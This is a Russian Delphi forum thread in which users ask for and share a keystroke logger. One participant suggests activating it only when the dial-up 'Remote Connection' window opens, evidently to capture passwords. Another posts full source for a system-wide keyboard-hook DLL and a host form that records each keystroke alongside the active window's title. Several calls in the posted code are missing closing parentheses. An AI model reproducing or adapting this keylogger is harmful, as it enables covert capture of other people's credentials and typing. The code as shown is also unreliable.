| Типы программирования, программирование, языки программирования, книги программирование | На сайте представлена информация про программирование в Интернете и работу |
|
Перехват вызовов функций, Способы перехвата NetBios in Delphi, у кого есть решение? !!!!!!!!!!!!ПОМОГИТЕ, КТО ЗАНИМАЕТЬСЯ ВЗЛОМОМ ПРОГРАММ Вопрос обо всем Обсчёт трафика! как вычислить IP адрес, programmnym putem! Как можно получить звук с микрофона?, Пример кода Удалить все файлы вместе с директорией Сортировка ListView при нажатии на заголовок, Пример кода Активная форма, Определить активная или нет сведения ICQ, Как получить сведения о ICQ Как работать с Outlook в Delphi, !!!!!!!!!!1ПОМОГИТЕ!!& Работа с почтой, НУЖНА ПОМОЩЬ Как найти окно по неполному названию, Пример кода ОПЫТНЫЙ и не только помогите!!!, ДВА ВОПРОСА Снова TQRCompositeReport Как обновить данные в программе? [D3, Win95/98], Как обновить данные в программе? [D3, Wi TreeView Определение версии винды..., определение версии винды Как узнать имя компьютера?, Пример кода Как Вы относитесь к курящим девушкам? Можно ли снести BIOS, Помогите пожайлуста!!!!!! Как програмно прокрутить Memo, Пример кода Как установить дополнительные компоненты ? Цвета, Как перекрасить TPageControl и TTabCon. Папка -> Файл, Как из папки сделать файл? анимированные изображения Как правильно закрыть..., ... модальную форму... Редактирование Шрифтов для матричных принтеров, Способы и методы exe формат Как перебрать контролы..., ... на форме или в панели.. QuickReport ПОМОГИТЕ ПОЖАЙЛУСТА, ОЧЕНЬ МНОГО ВОПРОСОВ FAQ по форуму, почему-бы не сделать..., ...и не выложить где-нить... Как спрятать окно..., ...при запуске приложения... Копирование с поврежденного носителя..., Копирование с поврежденного носителя... Как заказать сервисный процесс ? Создание экземпляра TWebBrowser в runtime FTP client, Киньте в меня сырцами клиента Delphi и Excel!!! Срочно, Delphi и Excel!!! Срочно Книги по Windows API, Кто может подсказать удачные? Не глобальный хук, Не глобальный хук Вращение для OpenGL, OGL Delphi Games, Кто хочет сделать игру на Delphi, заходи Обработка ошибок в ADODataSet Отжор памяти и как с ним бороться :) Плагины, Взаимодействие Программы с DLL Запись цвета в реестр... Как работать с Excel из Дельфи?? Одолевают сомнения, Периодический опрос буфера Извлечение иконок из EXE и DLL, Пример кода Нифига не понимаю...., API под XP и 98'ой ....:( Как Вы относитесь к курящим девушкам? Библиотека Ctr и Pentium2, Паскаль под Дос Таскание окошка... Определение IP. ЗАЧЕМ??? Перехват нажатия клавиши, Перехват нажатия клавиши Диалог выбора директории aka папки! Применение функции проверки..., Применение функции проверки... Изменить иконку, Как изменить иконку у exe-файла? Дядька Борланд - БРАКОДЕл или глюк в DELPHI 5.0, Глюк в Delphi 5 Насчет опроса про программирование в Delphi Обработка BMP Слежение за нажатием клавиш. Считать текст с IE Hook, hook Чужой COM объект, Есть ли доступ? Проги Из файла в массив..... Plug-in для IE, Как написать? |
Платные хостинги Раскрутка сайта Книги по программированию Слежение за нажатием клавиш.
- Здрасти вам!Вот я опять решил всех задолбать своей шизой.Короче, тут уже обсуждалась одна проблема, с Клавой, реальная проблема.Мне посоветовали TRecorder, но он меня не удовлетворил. Он сохраняет всё в какомто невнятном формате, в то время, как мне всеголишь нужно сохранятьвсе буковки печатаемые юзверем, причём в читабельном формате. Мне не нужно воспроизводить движения мыши и прочую ерунду. Я долго и нудно пытался чтото изменить(разобраться), но кроме головной боли я не обнаружил.Короче так, реально, ктото может мне помочь или нет.Типа заранее спасибо.Да, я обитаю в D6. Исходы другого происхождения не подходят (отдельный раздел моей головной боли). - Тогда пиши hook на клавиатуру и мышь. Если не знаешь- придется подождать когда я смогу это написать, хотя примеров в интернете много. - Спасибо, подожду!Мне тока на клаву ПЛЗ!Если примеры есть то кидай. - Если можно то и мне тоже. - И мне - Вам только пример для клавы?Frikazoid, а ты собираешься все время записывать клаву?Начинать запись нужно только когда появляется окно с заголовком "Удаленное соединение" и когда оно появляется, только тогда активируешь hook, иначе он немного подтормаживает систему(по словам не помню кого, но у меня тормоза не заметны) - Готово. Смотрите личную почту. - Дык бросай код в форум, наверное не только автору будет интересно... - Спосибо тебе боше при бошое. - Спасибо, Mikel. - Пока не смотрел но спасибо. - Кстати, Frikazoid, что ты мне там намылил? Че за кодировка? Нечитабельно. - Библиотека:library keyboardhook;uses SysUtils, Windows, Messages, Forms;const MMFName:PChar='Keys';type PGlobalDLLData=^TGlobalDLLData; TGlobalDLLData=packed record SysHook:HWND; //дескриптор установленной ловушки MyAppWnd:HWND; //дескриптор нашего приложения end;var GlobalData:PGlobalDLLData; MMFHandle:THandle; WM_MYKEYHOOK:Cardinal;function KeyboardProc(code:integer;wParam:word;lParam:longint):longint;stdcall;var AppWnd:HWND;begin if code < 0 then begin Result:=CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam); Exit; end; if (((lParam and KF_UP)=0)and (wParam>=0)and(wParam<=255))OR {поставь от 65 до 90, если тебе} (((lParam and KF_UP)=0)and {нужны только A..Z} (wParam=VK_SPACE))then begin AppWnd:=GetForegroundWindow(); SendMessage(GlobalData^.MyAppWnd,WM_MYKEYHOOK,wParam,AppWnd); end; CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam); Result:= 0;end;{Процедура установки HOOK-а}procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall;begin if switch=true then begin {Устанавливаем HOOK, если не установлен (switch=true). } GlobalData^.SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0); GlobalData^.MyAppWnd:= hMainProg; end else UnhookWindowsHookEx(GlobalData^.SysHook)end;procedure OpenGlobalData();begin {регестрируем свой тип сообщения в системе} WM_MYKEYHOOK:= RegisterWindowMessage('WM_MYKEYHOOK' {получаем объект файлового отображения} MMFHandle:= CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE,0,SizeOf(TGlobalDLLData),MMFName); {отображаем глобальные данные на АП вызывающего процесса и получаем указатель на начало выделенного пространства} GlobalData:= MapViewOfFile(MMFHandle,FILE_MAP_ALL_ACCESS,0,0,SizeOf(TGlobalDLLData)); if GlobalData=nil then begin CloseHandle(MMFHandle); Exit; end;end;procedure CloseGlobalData();begin UnmapViewOfFile(GlobalData); CloseHandle(MMFHandle);end;procedure DLLEntryPoint(dwReason: DWord); stdcall;begin case dwReason of DLL_PROCESS_ATTACH: OpenGlobalData; DLL_PROCESS_DETACH: CloseGlobalData; end;end;exports hook;begin DLLProc:= @DLLEntryPoint; {вызываем назначенную процедуру для отражения факта присоединения данной библиотеки к процессу} DLLEntryPoint(DLL_PROCESS_ATTACH);end. - Пример:var Form1: TForm1; WndFlag: HWND; // дескриптор последнего окна keys: string[41]; // нажатые клавишы hDLL: THandle; // дескриптор загружаемой библиотеки WM_MYKEYHOOK: Cardinal; // моё сообщениеfunction GetWndText(WndH: HWND): string;var s: string; Len: integer;begin Len:= GetWindowTextLength(WndH)+1; // получаю размер текста if Len > 1 then begin SetLength(s, Len); GetWindowText(WndH, @s[1], Len); // получаю сам текст, который записывается в s Result:= s; end else Result:= 'text not detected';end;procedure TForm1.Button1Click(Sender: TObject);var Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;begin {посылаю своему окну сообщение для того что бы не выводился первый символ - см. WndProc} SendMessage(Form1.Handle, WM_MYKEYHOOK, VK_SPACE, Application.MainForm.Handle); @hook:= nil; // инициализируем переменную hook hDLL:=LoadLibrary(PChar('keyhook.dll'); { загрузка DLL } if hDLL > HINSTANCE_ERROR then begin { если всё без ошибок, то } @hook:=GetProcAddress(Hdll, 'hook' { получаем указатель на необходимую процедуру} Button2.Enabled:=True; Button1.Enabled:=False; StatusBar1.SimpleText:= 'Status: DLL loaded...'; hook(true, Form1.Handle); StatusBar1.SimpleText:= 'Status: loging in progress...'; end else begin ShowMessage('Ошибка при загрузке DLL !' Exit; end;end;procedure TForm1.Button2Click(Sender: TObject);var Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;begin @hook:= nil; // инициализируем переменную hook if hDLL > HINSTANCE_ERROR then begin { если всё без ошибок, то } @hook:=GetProcAddress(Hdll, 'hook' { получаем указатель на необходимую процедуру} Button1.Enabled:=True; Button2.Enabled:=False; hook(false, Form1.Handle); if FreeLibrary(hDLL) then begin StatusBar1.SimpleText:= 'Status: DLL unloaded.'; sleep(1000) end else begin StatusBar1.SimpleText:= 'Status: ERROR while unloading DLL'; Exit; end; StatusBar1.SimpleText:= 'Status: loging stoped'; end;end;{ подмена процедуры окна - необходимо для обработки сообщений, поступивших из DLL (см. исходный код DLL)}procedure TForm1.WndProc(var Msg: TMessage);begininherited ; // выполняем всё то, что должно происходить при поступлении сообщеня окну {Но если пришло моё сообщение - выполняем следующий код} if Msg.Msg = WM_MYKEYHOOK then begin { Если пользователь поменял окно или переменная, содержащая нажатые клавишы превысила допустимое значение - обнуляем keys и выводим статистику. } if (WndFlag <> HWND(Msg.lParam)) OR (Length(keys)>=1) then begin keys:=keys+String(Chr(Msg.wParam)); memo2.Text:=memo2.Text+' '+inttostr(ord(Chr(Msg.wParam))); //label1.caption:=label1.caption+keys; keys:=''; Memo1.Lines.Add(GetWndText(Msg.lParam)); WndFlag:= HWND(Msg.lParam) end else keys:=keys+String(Chr(Msg.wParam)); end;end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);beginfreelibrary(hDLL);end;initialization WndFlag:=0; keys:= ''; { регистрирую своё сообщение в системе - точно так же надо сделать и в теле DLL что бы DLL могла посылать главному приложению это сообщение. } WM_MYKEYHOOK:=RegisterWindowMessage('WM_MYKEYHOOK'end. - Пишите предложения по изменению кода в лучшую сторону. |